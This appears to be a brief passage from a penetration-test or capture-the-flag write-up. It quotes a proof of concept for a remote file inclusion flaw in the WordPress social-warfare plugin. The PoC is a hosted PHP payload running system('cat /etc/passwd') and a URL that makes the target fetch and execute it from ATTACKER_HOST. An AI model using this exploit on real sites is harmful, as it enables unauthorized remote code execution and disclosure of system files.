After trial and error and found out this shit does not work.
We move on to the next plugin social-warfare
Proof of Concept
1. Create payload file and host it on a location accessible by a targeted website. Payload content : "<pre>system('cat /etc/passwd')</pre>"
2. Visit <http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt>
3. Content of /etc/passwd will be returned
Seems like this is an Remote File Inclusion Vulnerability, first we create a payload.txt
